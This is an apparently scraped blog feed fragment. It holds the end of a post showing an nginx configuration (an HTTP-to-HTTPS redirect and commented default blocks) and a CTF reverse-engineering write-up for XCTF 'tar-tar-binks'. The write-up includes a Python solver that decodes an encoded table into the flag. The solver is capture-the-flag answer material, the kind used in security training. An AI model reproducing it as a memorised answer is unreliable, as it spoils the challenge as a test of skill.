&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;pass&amp;nbsp;the&amp;nbsp;PHP&amp;nbsp;scripts&amp;nbsp;to&amp;nbsp;FastCGI&amp;nbsp;server&amp;nbsp;listening&amp;nbsp;on&amp;nbsp;127.0.0.1:9000
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#location&amp;nbsp;~&amp;nbsp;\.php$&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;html;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastcgi_pass&amp;nbsp;&amp;nbsp;&amp;nbsp;127.0.0.1:9000;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastcgi_index&amp;nbsp;&amp;nbsp;index.php;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastcgi_param&amp;nbsp;&amp;nbsp;SCRIPT_FILENAME&amp;nbsp;&amp;nbsp;/scripts$fastcgi_script_name;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;include&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastcgi_params;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;deny&amp;nbsp;access&amp;nbsp;to&amp;nbsp;.htaccess&amp;nbsp;files,&amp;nbsp;if&amp;nbsp;Apache&amp;#39;s&amp;nbsp;document&amp;nbsp;root
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;concurs&amp;nbsp;with&amp;nbsp;nginx&amp;#39;s&amp;nbsp;one
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#location&amp;nbsp;~&amp;nbsp;/\.ht&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;deny&amp;nbsp;&amp;nbsp;all;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
		server&amp;nbsp;{
		listen&amp;nbsp;80;
			#填写绑定证书的域名
			server_name&amp;nbsp;www.lf-afa.com;&amp;nbsp;
			#把http的域名请求转成https
			return&amp;nbsp;301&amp;nbsp;https://$host$request_uri;&amp;nbsp;
		}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;another&amp;nbsp;virtual&amp;nbsp;host&amp;nbsp;using&amp;nbsp;mix&amp;nbsp;of&amp;nbsp;IP-,&amp;nbsp;name-,&amp;nbsp;and&amp;nbsp;port-based&amp;nbsp;configuration
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#server&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8000;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;somename:8080;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;server_name&amp;nbsp;&amp;nbsp;somename&amp;nbsp;&amp;nbsp;alias&amp;nbsp;&amp;nbsp;another.alias;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location&amp;nbsp;/&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;root&amp;nbsp;&amp;nbsp;&amp;nbsp;html;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index&amp;nbsp;&amp;nbsp;index.html&amp;nbsp;index.htm;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#}


&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;HTTPS&amp;nbsp;server
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#server&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;listen&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;443&amp;nbsp;ssl;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;server_name&amp;nbsp;&amp;nbsp;localhost;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_certificate&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cert.pem;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_certificate_key&amp;nbsp;&amp;nbsp;cert.key;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_session_cache&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;shared:SSL:1m;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_session_timeout&amp;nbsp;&amp;nbsp;5m;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_ciphers&amp;nbsp;&amp;nbsp;HIGH:!aNULL:!MD5;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ssl_prefer_server_ciphers&amp;nbsp;&amp;nbsp;on;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location&amp;nbsp;/&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;root&amp;nbsp;&amp;nbsp;&amp;nbsp;html;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;index&amp;nbsp;&amp;nbsp;index.html&amp;nbsp;index.htm;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#}

}&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 13 May 2020 14:04:06 +0800</pubDate></item><item><title>攻防世界 XCTF Reverse tar-tar-binks Writeup(MD5文件加密)</title><link>http://www.liugongrui.com/?id=257</link><description>&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005091588992804762633.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005091588992820424492.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;搜索%04X，找到关键代码&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.liugongrui.com/zb_users/upload/2020/05/202005091588992847399495.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;#&amp;nbsp;encoding=utf-8
import&amp;nbsp;hashlib

ctable&amp;nbsp;=&amp;nbsp;[
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x00,&amp;nbsp;0x61,&amp;nbsp;0x62,&amp;nbsp;0x63,&amp;nbsp;0x64,&amp;nbsp;0x65,&amp;nbsp;0x66,&amp;nbsp;0x67,&amp;nbsp;0x68,&amp;nbsp;0x69,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x6A,&amp;nbsp;0x6B,&amp;nbsp;0x6C,&amp;nbsp;0x6D,&amp;nbsp;0x6E,&amp;nbsp;0x6F,&amp;nbsp;0x70,&amp;nbsp;0x71,&amp;nbsp;0x72,&amp;nbsp;0x73,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x74,&amp;nbsp;0x75,&amp;nbsp;0x76,&amp;nbsp;0x77,&amp;nbsp;0x78,&amp;nbsp;0x79,&amp;nbsp;0x7A,&amp;nbsp;0x30,&amp;nbsp;0x31,&amp;nbsp;0x32,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x33,&amp;nbsp;0x34,&amp;nbsp;0x35,&amp;nbsp;0x36,&amp;nbsp;0x37,&amp;nbsp;0x38,&amp;nbsp;0x39,&amp;nbsp;0x20,&amp;nbsp;0x0A,&amp;nbsp;0x00,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x41,&amp;nbsp;0x42,&amp;nbsp;0x43,&amp;nbsp;0x44,&amp;nbsp;0x45,&amp;nbsp;0x46,&amp;nbsp;0x47,&amp;nbsp;0x48,&amp;nbsp;0x49,&amp;nbsp;0x4A,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x4B,&amp;nbsp;0x4C,&amp;nbsp;0x4D,&amp;nbsp;0x4E,&amp;nbsp;0x4F,&amp;nbsp;0x50,&amp;nbsp;0x51,&amp;nbsp;0x52,&amp;nbsp;0x53,&amp;nbsp;0x54,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x55,&amp;nbsp;0x56,&amp;nbsp;0x57,&amp;nbsp;0x58,&amp;nbsp;0x59,&amp;nbsp;0x5A,&amp;nbsp;0x28,&amp;nbsp;0x21,&amp;nbsp;0x40,&amp;nbsp;0x23,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x2C,&amp;nbsp;0x2E,&amp;nbsp;0x3F,&amp;nbsp;0x2F,&amp;nbsp;0x2A,&amp;nbsp;0x29,&amp;nbsp;0x3C,&amp;nbsp;0x3E
]
arr2&amp;nbsp;=&amp;nbsp;[0xF5D1,&amp;nbsp;0x4D6B,&amp;nbsp;0xED6A,&amp;nbsp;0x08A6,&amp;nbsp;0x38DD,&amp;nbsp;0xF7FA,&amp;nbsp;0x609E,&amp;nbsp;0xEBC4,&amp;nbsp;0xE55F,&amp;nbsp;0xE6D1,&amp;nbsp;0x7C89,&amp;nbsp;0xED5B,&amp;nbsp;0x0871,&amp;nbsp;0x1A69,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x5D58,&amp;nbsp;0x72DE,&amp;nbsp;0x224B,&amp;nbsp;0x3AA6,&amp;nbsp;0x0845,&amp;nbsp;0x7DD6,&amp;nbsp;0x58FB,&amp;nbsp;0xE9CC,&amp;nbsp;0x0A2D,&amp;nbsp;0x76B8,&amp;nbsp;0xED60,&amp;nbsp;0x251A,&amp;nbsp;0x1F6B,&amp;nbsp;0x32CC,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0xE78D,&amp;nbsp;0x12FA,&amp;nbsp;0x201A,&amp;nbsp;0xE889,&amp;nbsp;0x2D25,&amp;nbsp;0x922A,&amp;nbsp;0x4BC5,&amp;nbsp;0xF5FF,&amp;nbsp;0xF8E5,&amp;nbsp;0xC79B,&amp;nbsp;0x3A77,&amp;nbsp;0x4BDB,&amp;nbsp;0xEA11,&amp;nbsp;0x5941,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x58BD,&amp;nbsp;0x3A95,&amp;nbsp;0xF5C9,&amp;nbsp;0xA225,&amp;nbsp;0xAD40,&amp;nbsp;0xF8BD,&amp;nbsp;0x095D,&amp;nbsp;0x70B6,&amp;nbsp;0x458C,&amp;nbsp;0xE7A9,&amp;nbsp;0xEA68,&amp;nbsp;0x252F,&amp;nbsp;0x094B,&amp;nbsp;0x5E41,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x0969,&amp;nbsp;0x6015,&amp;nbsp;0x5ED5,&amp;nbsp;0xF6E5,&amp;nbsp;0x59B9,&amp;nbsp;0x7CAF,&amp;nbsp;0x66DF,&amp;nbsp;0x265B,&amp;nbsp;0x7837,&amp;nbsp;0x57B4,&amp;nbsp;0x7CAF,&amp;nbsp;0xAED9,&amp;nbsp;0xF707,&amp;nbsp;0x6A3C,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0xF8E5,&amp;nbsp;0xF509,&amp;nbsp;0x7C8B,&amp;nbsp;0x0915,&amp;nbsp;0x2235,&amp;nbsp;0x336F,&amp;nbsp;0x33E9,&amp;nbsp;0x2D14,&amp;nbsp;0x7C91,&amp;nbsp;0x5804,&amp;nbsp;0x83E5,&amp;nbsp;0xE78D,&amp;nbsp;0xF4EA,&amp;nbsp;0x0874,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0xED6B,&amp;nbsp;0x4B35,&amp;nbsp;0xE839,&amp;nbsp;0x57B4,&amp;nbsp;0xE77C,&amp;nbsp;0xEA68,&amp;nbsp;0x2525,&amp;nbsp;0xAD41,&amp;nbsp;0xED6F,&amp;nbsp;0x3A4A,&amp;nbsp;0x4BCC,&amp;nbsp;0x6015,&amp;nbsp;0xF440,&amp;nbsp;0x0858,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x3AA6,&amp;nbsp;0x7809,&amp;nbsp;0x671D,&amp;nbsp;0x0874,&amp;nbsp;0xEA77,&amp;nbsp;0x63AF,&amp;nbsp;0x2E91,&amp;nbsp;0x5845,&amp;nbsp;0xF6C4,&amp;nbsp;0x086D,&amp;nbsp;0x7795,&amp;nbsp;0x3939,&amp;nbsp;0x57B4,&amp;nbsp;0x7C89,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x82DC,&amp;nbsp;0x32ED,&amp;nbsp;0xB994,&amp;nbsp;0xC7AF,&amp;nbsp;0x9135,&amp;nbsp;0x0E65,&amp;nbsp;0x1B66,&amp;nbsp;0xED5B,&amp;nbsp;0x3235,&amp;nbsp;0x6577,&amp;nbsp;0x5A80,&amp;nbsp;0x3AD3,&amp;nbsp;0xE776,&amp;nbsp;0x1EE5,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0xAD41,&amp;nbsp;0xED59,&amp;nbsp;0x864C,&amp;nbsp;0x70B4,&amp;nbsp;0x3876,&amp;nbsp;0xED67,&amp;nbsp;0x64D6,&amp;nbsp;0xF8E5,&amp;nbsp;0xF505,&amp;nbsp;0xEAD9,&amp;nbsp;0x7C9C,&amp;nbsp;0x32ED,&amp;nbsp;0xB994,&amp;nbsp;0xB4EF,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x0C6C,&amp;nbsp;0xF665,&amp;nbsp;0xF5F5,&amp;nbsp;0x9047,&amp;nbsp;0x521A,&amp;nbsp;0xE99E,&amp;nbsp;0xEA68,&amp;nbsp;0x252F,&amp;nbsp;0x9D09,&amp;nbsp;0x76B7,&amp;nbsp;0xE776,&amp;nbsp;0x1ED0,&amp;nbsp;0x095D,&amp;nbsp;0x0D4D,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x5D5A,&amp;nbsp;0x087B,&amp;nbsp;0x2005,&amp;nbsp;0x1526,&amp;nbsp;0x7E76,&amp;nbsp;0x85AD,&amp;nbsp;0x78B9,&amp;nbsp;0xE8B6,&amp;nbsp;0x782C,&amp;nbsp;0x251C,&amp;nbsp;0x32ED,&amp;nbsp;0x7F68,&amp;nbsp;0xEBE3,&amp;nbsp;0xEA41,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x57FD,&amp;nbsp;0xED59,&amp;nbsp;0x846D,&amp;nbsp;0x7A05,&amp;nbsp;0xB994,&amp;nbsp;0xBB78,&amp;nbsp;0xED6A,&amp;nbsp;0x08A6,&amp;nbsp;0x38DD,&amp;nbsp;0x3B5D,&amp;nbsp;0x7E45,&amp;nbsp;0xE839,&amp;nbsp;0x738C,&amp;nbsp;0xE9CC,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x0A2D,&amp;nbsp;0x764A,&amp;nbsp;0x609E,&amp;nbsp;0xE8B6,&amp;nbsp;0xEA68,&amp;nbsp;0x2524,&amp;nbsp;0xE6BB,&amp;nbsp;0x7C9C,&amp;nbsp;0x639F,&amp;nbsp;0x3A95,&amp;nbsp;0x0895,&amp;nbsp;0xF40F,&amp;nbsp;0x8328,&amp;nbsp;0xEA69,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x7EE5,&amp;nbsp;0xF8BD,&amp;nbsp;0x7F7D,&amp;nbsp;0x0D6D,&amp;nbsp;0x70B6,&amp;nbsp;0x458C,&amp;nbsp;0xE8B6,&amp;nbsp;0xEA68,&amp;nbsp;0x251C,&amp;nbsp;0x6065,&amp;nbsp;0xB35F,&amp;nbsp;0xC789,&amp;nbsp;0x5845,&amp;nbsp;0x7F7D,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x6D89,&amp;nbsp;0x4C6E,&amp;nbsp;0xA20E,&amp;nbsp;0x60B5,&amp;nbsp;0x7E45,&amp;nbsp;0xED59,&amp;nbsp;0xF707,&amp;nbsp;0x69EF,&amp;nbsp;0x922A,&amp;nbsp;0x4BC5,&amp;nbsp;0xF6EF,&amp;nbsp;0x8635,&amp;nbsp;0xF4B9,&amp;nbsp;0x57B4,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x7CF8,&amp;nbsp;0xED60,&amp;nbsp;0x2510,&amp;nbsp;0x095D,&amp;nbsp;0x20AF,&amp;nbsp;0x3545,&amp;nbsp;0xF40F,&amp;nbsp;0x8328,&amp;nbsp;0xEA41,&amp;nbsp;0x58A4,&amp;nbsp;0x225D,&amp;nbsp;0x7E7C,&amp;nbsp;0x4BDB,&amp;nbsp;0xF8BD,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x082C,&amp;nbsp;0xEAE7,&amp;nbsp;0x5D57,&amp;nbsp;0x5D50,&amp;nbsp;0x0914,&amp;nbsp;0xE7C7,&amp;nbsp;0x8624,&amp;nbsp;0x7CF8,&amp;nbsp;0xED60,&amp;nbsp;0x2511,&amp;nbsp;0x7C8E,&amp;nbsp;0x7159,&amp;nbsp;0x8416,&amp;nbsp;0x7EF9,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0xE7E5,&amp;nbsp;0x774A,&amp;nbsp;0x3895,&amp;nbsp;0x1EC9,&amp;nbsp;0x7C90,&amp;nbsp;0x09B9,&amp;nbsp;0x58BD,&amp;nbsp;0x5FF5,&amp;nbsp;0xE99E,&amp;nbsp;0xEA68,&amp;nbsp;0x250A,&amp;nbsp;0x224C,&amp;nbsp;0xEA3D,&amp;nbsp;0x73F5,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x7C89,&amp;nbsp;0x53A6,&amp;nbsp;0x3190,&amp;nbsp;0x3B5D,&amp;nbsp;0x1526,&amp;nbsp;0x7DD5,&amp;nbsp;0x666A,&amp;nbsp;0x0919,&amp;nbsp;0x225F,&amp;nbsp;0xCDEF,&amp;nbsp;0x79E1,&amp;nbsp;0x7E7B,&amp;nbsp;0x7E6B,&amp;nbsp;0x082C,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0xA277,&amp;nbsp;0xE885,&amp;nbsp;0xE8BB,&amp;nbsp;0xE775,&amp;nbsp;0x5FF7,&amp;nbsp;0xEA68,&amp;nbsp;0x251B,&amp;nbsp;0x7FDF,&amp;nbsp;0x589D,&amp;nbsp;0x7A05,&amp;nbsp;0x779A,&amp;nbsp;0x8A5A,&amp;nbsp;0x7C91,&amp;nbsp;0x5D5C,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x32ED,&amp;nbsp;0xF628,&amp;nbsp;0x2195,&amp;nbsp;0xF49A,&amp;nbsp;0x0C77,&amp;nbsp;0xEAE1,&amp;nbsp;0x59B9,&amp;nbsp;0x58BD,&amp;nbsp;0xE570,&amp;nbsp;0xE99E,&amp;nbsp;0xEA3D,&amp;nbsp;0x73F9,&amp;nbsp;0x13AD,&amp;nbsp;0x2BF5,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x225D,&amp;nbsp;0x7F7D,&amp;nbsp;0x70B6,&amp;nbsp;0x4A9C,&amp;nbsp;0x337A,&amp;nbsp;0x1EC9,&amp;nbsp;0x4D05,&amp;nbsp;0x7E75,&amp;nbsp;0x2578,&amp;nbsp;0xED59,&amp;nbsp;0x38E5,&amp;nbsp;0x1ECA,&amp;nbsp;0xA210,&amp;nbsp;0x3B5D,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x779A,&amp;nbsp;0x8A6F,&amp;nbsp;0xC790,&amp;nbsp;0x2518,&amp;nbsp;0x4B41,&amp;nbsp;0x7C89,&amp;nbsp;0x5D49,&amp;nbsp;0x4D05,&amp;nbsp;0x152D,&amp;nbsp;0x73C5,&amp;nbsp;0x79F9,&amp;nbsp;0x4BED,&amp;nbsp;0x913C,&amp;nbsp;0x37C9,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x5D4D,&amp;nbsp;0x53C8,&amp;nbsp;0x0941,&amp;nbsp;0x7C97,&amp;nbsp;0x5D5B,&amp;nbsp;0x346A,&amp;nbsp;0x82D8,&amp;nbsp;0x5F36,&amp;nbsp;0x801F,&amp;nbsp;0xC800]
arr3&amp;nbsp;=&amp;nbsp;[]
for&amp;nbsp;i&amp;nbsp;in&amp;nbsp;arr2:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;arr3.append(i&amp;nbsp;/&amp;nbsp;1600)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;arr3.append((i&amp;nbsp;/&amp;nbsp;40)&amp;nbsp;%&amp;nbsp;40)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;arr3.append(i&amp;nbsp;%&amp;nbsp;40)
i&amp;nbsp;=&amp;nbsp;0
flag&amp;nbsp;=&amp;nbsp;[]
while&amp;nbsp;i&amp;nbsp;&amp;lt;&amp;nbsp;len(arr3):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;arr3[i]&amp;nbsp;==&amp;nbsp;39:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag.append(ctable[arr3[i&amp;nbsp;+&amp;nbsp;1]&amp;nbsp;+&amp;nbsp;39])
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i&amp;nbsp;=&amp;nbsp;i&amp;nbsp;+&amp;nbsp;2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag.append(ctable[arr3[i]])
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i&amp;nbsp;=&amp;nbsp;i&amp;nbsp;+&amp;nbsp;1
s&amp;nbsp;=&amp;nbsp;&amp;quot;&amp;quot;
for&amp;nbsp;n&amp;nbsp;in&amp;nbsp;flag:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;n&amp;nbsp;!=&amp;nbsp;0x00:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s&amp;nbsp;+=&amp;nbsp;chr(n)
print&amp;nbsp;s
#print&amp;nbsp;hashlib.md5(s).hexdigest()&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;$&amp;nbsp;./solve.py
